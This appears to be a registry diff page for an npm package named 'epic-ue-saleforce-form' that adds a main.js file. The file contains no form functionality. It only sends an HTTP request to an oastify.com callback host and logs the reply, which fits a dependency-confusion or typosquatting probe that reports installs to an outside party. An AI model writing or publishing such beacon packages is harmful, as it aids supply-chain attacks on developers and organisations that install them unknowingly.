epic-ue-saleforce-form 1.3.5
Sign up to get free protection for your applications and to get access to all the features.
- package/main.js +24 -0
- package/package.json +11 -0
package/main.js
ADDED
@@ -0,0 +1,24 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
|
3
|
+
const url = 'http://1su2oq51k2xm2cfyokgoir1p5gb7zynn.oastify.com';
|
4
|
+
|
5
|
+
axios.get(url)
|
6
|
+
.then(response => {
|
7
|
+
console.log('Response Status:', response.status);
|
8
|
+
console.log('Response Headers:', response.headers);
|
9
|
+
console.log('Response Data:', response.data);
|
10
|
+
})
|
11
|
+
.catch(error => {
|
12
|
+
if (error.response) {
|
13
|
+
// The server responded with a status code other than 2xx
|
14
|
+
console.log('Error Status:', error.response.status);
|
15
|
+
console.log('Error Headers:', error.response.headers);
|
16
|
+
console.log('Error Data:', error.response.data);
|
17
|
+
} else if (error.request) {
|
18
|
+
// The request was made but no response was received
|
19
|
+
console.log('Error Request:', error.request);
|
20
|
+
} else {
|
21
|
+
// Something happened in setting up the request
|
22
|
+
console.log('Error Message:', error.message);
|
23
|
+
}
|
24
|
+
});
|